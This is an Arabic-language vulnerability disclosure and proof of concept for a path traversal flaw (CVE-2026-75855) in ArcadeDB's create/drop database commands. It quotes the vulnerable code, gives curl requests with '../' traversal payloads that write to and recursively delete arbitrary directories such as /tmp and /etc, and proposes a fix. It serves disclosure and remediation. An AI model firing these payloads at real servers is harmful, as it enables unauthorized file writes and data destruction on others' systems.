
إثبات المفهوم لـ CVE-2026-75855، وهو ثغرة اجتياز المسار في أوامر إنشاء/حذف قاعدة البيانات في ArcadeDB، مما يسمح بكتابة وحذف ملفات عشوائية خارج الدليل المكوّن.
ثغرة اجتياز المسار في أوامر الخادم "create database" / "drop database" تسمح بكتابة وحذف ملفات تعسفية خارج دليل قاعدة البيانات المُهيأ
تستخدم أوامر create database و drop database في نقطة النهاية POST /api/v1/server اسم قاعدة البيانات المقدم من المُتصل لبناء مسار نظام ملفات دون أي تنقية أو تطبيع أو فحص احتواء. يمكن لمستخدم مُصادق كحساب جذر خادم ArcadeDB تقديم اسم يحتوي على تسلسلات ../ لجعل الخادم ينشئ (ويحذف لاحقًا) قاعدة بيانات كاملة — ملفات وأدلة تعسفية — في أي مسار نظام ملفات مطلق يمكن لعملية الخادم الكتابة إليه، خارج دليل arcadedb.server.databaseDirectory المُهيأ تمامًا.
تم التحقق من ذلك مباشرة، مرتين بشكل مستقل من حالة نظيفة: أمر create database مُصمم كتب ملفات قاعدة بيانات حقيقية في /tmp/ وفي اختبار منفصل في /etc/؛ ثم قام أمر مطابق بنفس سلسلة الاجتياز بحذف الدليل بشكل متكرر.
drop databaseserver/src/main/java/com/arcadedb/server/http/handler/PostServerCommandHandler.java:
private void createDatabase(final String databaseName) {
if (databaseName.isEmpty())
throw new IllegalArgumentException("Database name empty");
checkServerIsLeaderIfInHA();
final ArcadeDBServer server = httpServer.getServer();
final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
...
}
التحقق الوحيد هو فحص عدم الفراغ. يتدفق databaseName دون تعديل إلى ArcadeDBServer.createDatabase() (server/src/main/java/com/arcadedb/server/ArcadeDBServer.java:572):
final DatabaseFactory factory = new DatabaseFactory(
configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
+ databaseName).setAutoTransaction(true);
هذا تسلسل سلاسل نصية خام، وليس Path.resolve() مع فحص احتواء. لا يستدعي DatabaseFactory (engine/src/main/java/com/arcadedb/database/DatabaseFactory.java) أبدًا .normalize() أو يتحقق من بقاء المسار المُحل تحت دليل الأساس المقصود قبل أن تكتب create()/open() الملفات على القرص.
dropDatabase() لديها نفس نقص التحقق، وبما أن الخادم يتتبع قاعدة البيانات تحت الاسم الحرفي (الذي يحتوي على الاجتياز) الذي قدمه المُتصل، فإن drop database لاحقًا يحذف بشكل متكرر أي دليل كتبه create database.
يتم فرض checkRootUser(user) قبل كلا الأمرين، لذا يتطلب هذا حساب جذر الخادم — لكن الجذر هنا هو المستخدم الفائق على مستوى تطبيق ArcadeDB نفسه، وليس بالضرورة نفس مستوى الثقة كوصول OS/Shell إلى المضيف. كسر احتواء databaseDirectory يسمح لذلك الحساب على مستوى التطبيق بكتابة وحذف ملفات تعسفية في أي مكان تمتلك فيه عملية JVM أذونات OS.
البيئة: ArcadeData/arcadedb @ commit 545e703، مبني من المصدر (./mvnw -pl engine,server -am install -DskipTests)، يعمل بشكل مستقل مع تعيين arcadedb.server.rootPassword و arcadedb.server.databaseDirectory=/databases.
تأكد من أن دليل قاعدة البيانات المقصود فارغ.
أرسل أمر create database بحمولة اجتياز:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} HTTP 200
ls -la /tmp/arcadedb-traversal-poc/
→ configuration.json, schema.json, dictionary..dict, txlog_.wal — قاعدة بيانات ArcadeDB كاملة وحقيقية. يبقى دليل databases/ المقصود فارغًا طوال الوقت.
list databases سلسلة الاجتياز الحرفية كاسم مسجل، مما يؤكد عدم وجود أي تطبيع:{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}
تكرر الأمر باجتياز أعمق إلى /etc/arcadedb-poc2 — نجح بشكل مماثل، مما يثبت أن الكتابة ليست محصورة في /tmp أو أي منطقة نظام ملفات معينة، فقط في ما يمكن للعملية الكتابة إليه. كما تم إعادة إنتاجه باجتياز ../ أحادي المستوى، مما يؤكد هروب مسار حقيقي وليس نتيجة مصادفة.
drop database بنفس سلسلة الاجتياز يحذف الدليل بشكل متكرر:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"}؛ تم تأكيد اختفاء الدليل بعد ذلك.
create database) وحذف متكرر تعسفي (عبر drop database) في أي مسار مطلق يمكن لعملية الخادم الكتابة إليه، خارج صندوق حماية databaseDirectory المُهيأ تمامًا.رفض أسماء قواعد البيانات التي تحتوي على فواصل مسار (/, \) أو مقاطع .. تمامًا (تعبير regex بسيط بالقائمة البيضاء، مثل ^[A-Za-z0-9_-]+$، هو المعيار لهذه الفئة من المعرّفات)، وحل المسار النهائي دفاعيًا باستخدام Path.resolve(name).normalize() والتحقق من أنه لا يزال يبدأ بدليل الأساس المُهيأ قبل أي عملية ملف، في كل من createDatabase و dropDatabase.
الائتمان: Pervin Zahidli (@ech0void)